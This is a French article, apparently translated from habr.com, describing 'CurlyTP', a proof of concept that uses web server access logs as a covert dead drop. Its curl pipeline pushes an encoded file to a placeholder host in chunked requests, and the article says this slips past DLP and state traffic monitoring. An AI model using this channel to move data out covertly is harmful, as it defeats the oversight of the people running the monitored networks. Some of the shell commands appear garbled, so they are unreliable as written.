Échange de messages secrets via les journaux serveur

Selon la définition de Wikipedia, un dépÎt (dead drop) est un outil de conspiration utilisé pour échanger des informations ou des objets entre des personnes utilisant un emplacement secret. Le principe est que les personnes ne se rencontrent jamais, mais échangent des informations tout en maintenant la sécurité opérationnelle.

Le dépÎt ne doit pas attirer l'attention. C'est pourquoi dans le monde hors ligne, on utilise souvent des objets discrets : une brique lùche dans un mur, un livre à la bibliothÚque ou une cavité dans un arbre.

Il existe de nombreux outils de cryptage et d'anonymisation sur Internet, mais le fait mĂȘme d'utiliser ces outils attire l'attention. De plus, ils peuvent ĂȘtre bloquĂ©s au niveau des entreprises ou de l'État. Que faire ?

Le dĂ©veloppeur Ryan Flowers a proposĂ© une option intĂ©ressante : utiliser n'importe quel serveur web comme dĂ©pĂŽt.En y rĂ©flĂ©chissant, que fait un serveur web ? Il reçoit des requĂȘtes, dĂ©livre des fichiers et Ă©crit des journaux. Et il enregistre dans le journal toutes les requĂȘtes, mĂȘme celles incorrectes.!

On obtient donc qu'un serveur web permet de conserver pratiquement n'importe quel message dans le journal. Flowers s'est interrogé sur la maniÚre d'utiliser cela.

Il propose l'option suivante :

  1. Prenons un fichier texte (le message secret) et calculons son hachage (md5sum).
  2. Nous l'encodeons (gzip+uuencode).
  3. Nous l'enregistrons dans le journal en effectuant une requĂȘte dĂ©libĂ©rĂ©ment incorrecte au serveur.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's / / =+= /g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Pour lire le fichier, il faut effectuer ces opĂ©rations dans l'ordre inverse : dĂ©coder et dĂ©compresser le fichier, vĂ©rifier le hachage (le hachage peut ĂȘtre transmis en toute sĂ©curitĂ© par des canaux ouverts).

Les espaces sont remplacĂ©s par =+=, afin qu'il n'y ait pas d'espaces dans l'adresse. Le programme, que l'auteur a nommĂ© CurlyTP, utilise un encodage base64, comme dans les piĂšces jointes des emails. La requĂȘte est faite avec le mot-clĂ© ?transfer?, afin que le destinataire puisse facilement le trouver dans les journaux.

Que voyons-nous dans les journaux dans ce cas ?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Comme déjà mentionné, pour obtenir le message secret, il faut procéder dans l'ordre inverse :

Machine distante

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Le processus peut ĂȘtre facilement automatisĂ©. Md5sum correspond, et le contenu du fichier confirme que tout a Ă©tĂ© correctement dĂ©codĂ©.

La mĂ©thode est trĂšs simple. « Le but de cet exercice est simplement de prouver que des fichiers peuvent ĂȘtre transfĂ©rĂ©s via de petites requĂȘtes web innocentes, et cela fonctionne sur n'importe quel serveur web avec des journaux texte habituels. En gros, chaque serveur web est un planque ! », Ă©crit Flowers.

Bien sûr, la méthode ne fonctionne que si le destinataire a accÚs aux journaux du serveur. Mais un tel accÚs est accordé, par exemple, par de nombreux hébergeurs.

Comment l'utiliser ?

Ryan Flowers dit qu'il n'est pas spĂ©cialiste de la sĂ©curitĂ© de l'information et qu'il ne dressera pas une liste des applications possibles de CurlyTP. Pour lui, c'est simplement une preuve de concept que les outils habituels que nous voyons quotidiennement peuvent ĂȘtre utilisĂ©s de maniĂšre non conventionnelle.

En réalité, cette méthode présente plusieurs avantages par rapport à d'autres « caches » serveur tels que Digital Dead Drop ou PirateBox: elle ne nécessite pas de configuration spéciale cÎté serveur ou de protocoles particuliers - et ne suscitera pas de soupçon chez ceux qui surveillent le trafic. Il est peu probable que le SORM ou le systÚme DLP scanne les URL à la recherche de fichiers texte compressés.

C'est l'un des moyens de transmettre des messages Ă  travers des fichiers de service. On peut se rappeler comment, auparavant, certaines entreprises avancĂ©es ont placĂ© des offres d'emploi pour des dĂ©veloppeurs dans les en-tĂȘtes HTTP ou dans le code des pages HTML.

Échange de messages secrets via les journaux serveur

L'idĂ©e Ă©tait qu'un tel « Ɠuf de PĂąques » ne serait vu que par les dĂ©veloppeurs web, car une personne normale ne regarderait pas les en-tĂȘtes ou le code HTML.

Échange de messages secrets via les journaux serveur

Source : habr.com

Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS đŸ”„ Acheter un hĂ©bergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster